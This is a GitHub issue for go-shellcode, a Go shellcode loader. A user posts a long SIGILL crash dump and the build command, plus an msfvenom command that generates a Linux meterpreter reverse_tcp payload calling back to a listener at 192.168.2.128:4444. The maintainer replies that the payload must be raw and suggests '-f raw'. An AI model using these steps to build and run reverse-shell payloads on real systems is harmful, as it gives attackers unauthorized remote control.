go-shellcode icon indicating copy to clipboard operation
go-shellcode copied to clipboard

not return the shell to my debian

Open nullNullNone opened this issue 3 years ago • 1 comments

base) root@debian:/usr/lib/go-1.17/src/go-shellcode/cmd/sc# ./main ./rev.hex (base) root@debian:/usr/lib/go-1.17/src/go-shellcode/cmd/sc# SIGILL: illegal instruction PC=0x7f235430d004 m=0 sigcode=2 instruction bytes: 0x66 0x66 0x36 0x61 0x30 0x39 0x35 0x38 0x39 0x39 0x62 0x36 0x31 0x30 0x34 0x38

goroutine 0 [idle]: runtime: unknown pc 0x7f235430d004 stack: frame={sp:0x7fff655a3c08, fp:0x0} stack=[0x7fff64da4c58,0x7fff655a3c90) 0x00007fff655a3b08: 0x0000000000000001 0x0000000000000000 0x00007fff655a3b18: 0x00000000004e0497 0x0000000000000188 0x00007fff655a3b28: 0x0000000000644120 0x00007fff655a3b50 0x00007fff655a3b38: 0x00007fff655a3b80 0x0000000000000000 0x00007fff655a3b48: 0x0000000000000000 0x00007f235430f858 0x00007fff655a3b58: 0x000000000040cfc0 <runtime.persistentalloc.func1+0x0000000000000000> 0x0000000000004000 0x00007fff655a3b68: 0x0000000000000000 0x00007fff655a3bb8 0x00007fff655a3b78: 0x00007fff655a3b90 0x0000000000425c39 <runtime.newAllocBits+0x0000000000000019> 0x00007fff655a3b88: 0x0000000000416fa5 <runtime.(*fixalloc).alloc+0x0000000000000085> 0x00007f0000000000 0x00007fff655a3b98: 0x0000000000000000 0x0000000000000180 0x00007fff655a3ba8: 0x000000000060e080 0x00007f237cfae738 0x00007fff655a3bb8: 0x00007fff655a3c10 0x00007fff655a3c08 0x00007fff655a3bc8: 0x1a9045363d95bc00 0x000000c000082000 0x00007fff655a3bd8: 0x000000c000047f00 0x000000c000082000 0x00007fff655a3be8: 0x000000000048e081 0x0000000000000180 0x00007fff655a3bf8: 0x000000c000047ec8 0x000000c000047d40 0x00007fff655a3c08: <0x000000000045c2f0 <runtime.asmcgocall+0x0000000000000070> 0x00000000004256d7 <runtime.removefinalizer+0x0000000000000077> 0x00007fff655a3c18: 0x000000c000060180 0x000000c000063501 0x00007fff655a3c28: 0x00007f235430f8e8 0x00007fff655a3c48 0x00007fff655a3c38: 0x0000000000000168 0x000000c0000001a0 0x00007fff655a3c48: 0x000000c000047d88 0x000000000045a449 <runtime.systemstack+0x0000000000000049> 0x00007fff655a3c58: 0x000000000045eae9 <runtime.newproc+0x0000000000000029> 0x000000000a323531 0x00007fff655a3c68: 0x00007fff64da4c58 0x000000000060dee0 0x00007fff655a3c78: 0x000000000049d230 0x000000000045a345 <runtime.mstart+0x0000000000000005> 0x00007fff655a3c88: 0x000000000045a2fb <runtime.rt0_go+0x000000000000013b> runtime: unknown pc 0x7f235430d004 stack: frame={sp:0x7fff655a3c08, fp:0x0} stack=[0x7fff64da4c58,0x7fff655a3c90) 0x00007fff655a3b08: 0x0000000000000001 0x0000000000000000 0x00007fff655a3b18: 0x00000000004e0497 0x0000000000000188 0x00007fff655a3b28: 0x0000000000644120 0x00007fff655a3b50 0x00007fff655a3b38: 0x00007fff655a3b80 0x0000000000000000 0x00007fff655a3b48: 0x0000000000000000 0x00007f235430f858 0x00007fff655a3b58: 0x000000000040cfc0 <runtime.persistentalloc.func1+0x0000000000000000> 0x0000000000004000 0x00007fff655a3b68: 0x0000000000000000 0x00007fff655a3bb8 0x00007fff655a3b78: 0x00007fff655a3b90 0x0000000000425c39 <runtime.newAllocBits+0x0000000000000019> 0x00007fff655a3b88: 0x0000000000416fa5 <runtime.(*fixalloc).alloc+0x0000000000000085> 0x00007f0000000000 0x00007fff655a3b98: 0x0000000000000000 0x0000000000000180 0x00007fff655a3ba8: 0x000000000060e080 0x00007f237cfae738 0x00007fff655a3bb8: 0x00007fff655a3c10 0x00007fff655a3c08 0x00007fff655a3bc8: 0x1a9045363d95bc00 0x000000c000082000 0x00007fff655a3bd8: 0x000000c000047f00 0x000000c000082000 0x00007fff655a3be8: 0x000000000048e081 0x0000000000000180 0x00007fff655a3bf8: 0x000000c000047ec8 0x000000c000047d40 0x00007fff655a3c08: <0x000000000045c2f0 <runtime.asmcgocall+0x0000000000000070> 0x00000000004256d7 <runtime.removefinalizer+0x0000000000000077> 0x00007fff655a3c18: 0x000000c000060180 0x000000c000063501 0x00007fff655a3c28: 0x00007f235430f8e8 0x00007fff655a3c48 0x00007fff655a3c38: 0x0000000000000168 0x000000c0000001a0 0x00007fff655a3c48: 0x000000c000047d88 0x000000000045a449 <runtime.systemstack+0x0000000000000049> 0x00007fff655a3c58: 0x000000000045eae9 <runtime.newproc+0x0000000000000029> 0x000000000a323531 0x00007fff655a3c68: 0x00007fff64da4c58 0x000000000060dee0 0x00007fff655a3c78: 0x000000000049d230 0x000000000045a345 <runtime.mstart+0x0000000000000005> 0x00007fff655a3c88: 0x000000000045a2fb <runtime.rt0_go+0x000000000000013b>

goroutine 1 [syscall]: runtime.cgocall(0x48e0b0, 0xc000047f00) /usr/lib/go-1.17/src/runtime/cgocall.go:156 +0x5c fp=0xc000047ed8 sp=0xc000047ea0 pc=0x403ebc github.com/brimstone/go-shellcode._Cfunc_call(0xc000082000, 0x104) _cgo_gotypes.go:44 +0x45 fp=0xc000047f00 sp=0xc000047ed8 pc=0x48dde5 github.com/brimstone/go-shellcode.Run(...) /usr/lib/go-1.17/src/go-shellcode/shellcode_unix.go:32 main.main() /usr/lib/go-1.17/src/go-shellcode/cmd/sc/main.go:35 +0x185 fp=0xc000047f80 sp=0xc000047f00 pc=0x48dfe5 runtime.main() /usr/lib/go-1.17/src/runtime/proc.go:255 +0x227 fp=0xc000047fe0 sp=0xc000047f80 pc=0x433467 runtime.goexit() /usr/lib/go-1.17/src/runtime/asm_amd64.s:1581 +0x1 fp=0xc000047fe8 sp=0xc000047fe0 pc=0x45c601

rax 0x38 rbx 0xc000047f00 rcx 0x7f235430d000 rdx 0x80 rdi 0x7f235430d000 rsi 0x313b1834 rbp 0xc000047ec8 rsp 0x7fff655a3c08 r8 0x4 r9 0x7f235430d060 r10 0x22 r11 0x7f235430d0e4 r12 0xc000047d40 r13 0x0 r14 0xc0000001a0 r15 0x40 rip 0x7f235430d004 rflags 0x10202 cs 0x33 fs 0x0 gs 0x0 (base) root@debian:/usr/lib/go-1.17/src/go-shellcode/cmd/sc# (base) root@debian:/usr/lib/go-1.17/src/go-shellcode/cmd/sc# (base) root@debian:/usr/lib/go-1.17/src/go-shellcode/cmd/sc# (base) root@debian:/usr/lib/go-1.17/src/go-shellcode/cmd/sc# (base) root@debian:/usr/lib/go-1.17/src/go-shellcode/cmd/sc#

not return the shell to my debian

build (base) root@debian:/usr/lib/go-1.17/src/go-shellcode/cmd/sc# go build -ldflags '-s -w -L /lib/x86_64-linux-gnu/*.so -linkmode "external" -extldflags "-static"' main.go

shellcode (base) root@debian:/usr/lib/go-1.17/src/go-shellcode/cmd/sc# msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.2.128 lport=4444 -f hex -o rev.hex

not return the shell to my debian

nullNullNone avatar Jan 13 '22 12:01 nullNullNone

If loading a file, it must be the raw shellcode. Try msfvenom with -f raw

brimstone avatar Jan 13 '22 12:01 brimstone